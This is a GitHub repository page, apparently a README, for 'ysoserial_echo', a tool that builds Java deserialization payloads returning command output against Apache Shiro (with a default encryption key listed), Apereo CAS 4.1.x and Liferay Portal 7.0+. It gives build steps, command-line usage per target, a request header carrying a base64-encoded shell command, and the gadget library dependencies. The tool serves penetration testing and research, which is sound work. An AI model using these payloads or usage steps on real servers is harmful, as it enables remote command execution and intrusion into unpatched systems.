Skip to content

j1anFen/ysoserial_echo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ysoserial_echo

0x01 Introduce

JAVA反序列化漏洞回显部分框架和场景下的环境

  1. Request/Response回显
  2. 支持win和linux payload
  3. base64编码

0x02 Support

  1. ApereoCAS 4.1.X 默认密钥
  2. Shiro spring 环境下回显
  3. Liferay protal 7.0 以上

0x02 Buiding

mvn clean package -DskipTests

0x03 Usage

Author: JF

Usage: java -jar yso-echo-all.jar shiro linux [key default kPH+bIxk5D2deZiIxcaaaA==]
Usage: java -jar yso-echo-all.jar shiro linux 0AvVhmFLUs0KTA3Kprsdag==
Usage: java -jar yso-echo-all.jar liferay win
Usage: java -jar yso-echo-all.jar apereo linux

[Add Request header] c=d2hvYW1p (whoami)

  Available payload types:
     Payload Authors Dependencies
     ------- ------- ------------
     apereo          commons-collections4:4.0
     liferay         commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     shiro           commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

0x04 Screenshot

shiro spring env shiro_spring_env.png

0x05 Reference

仅供学习研究使用,请勿用于非法用途

About

Generates Java Deserialization echo payload in ysoserial(反序列化漏洞回显)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages